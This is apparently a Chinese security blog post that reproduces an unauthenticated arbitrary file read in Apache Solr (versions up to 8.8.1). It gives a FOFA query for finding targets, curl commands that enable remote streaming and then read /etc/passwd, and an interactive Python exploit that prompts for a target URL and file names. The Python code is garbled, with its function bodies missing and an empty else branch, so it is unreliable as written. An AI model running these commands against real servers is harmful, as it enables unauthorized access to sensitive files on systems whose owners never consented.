原文链接：Apache Solr 任意文件读取漏洞

一、 漏洞描述

Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文件

二、 漏洞影响

Apache Solr <= 8.8.1

三、 漏洞复现

看文章的时候发现有师傅发了 Apache Solr 的文件读取漏洞

那就复现一波啦

FOFA：Apache Solr <= 8.8.1

访问 Solr Admin 管理员页面

获取core的信息http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

发送请求

再进行文件读取

Curl请求为
curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'
curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"

复制代码

四、漏洞POC

POC还是建立在未授权访问的情况下

import requests
import sys
import random

try:

print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))

else:

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
core_name = POC_1(target_url)
POC_2(target_url, core_name)
while True:
File_name = str(input("\033[35mFile >>> \033[0m"))
POC_3(target_url, core_name, File_name)
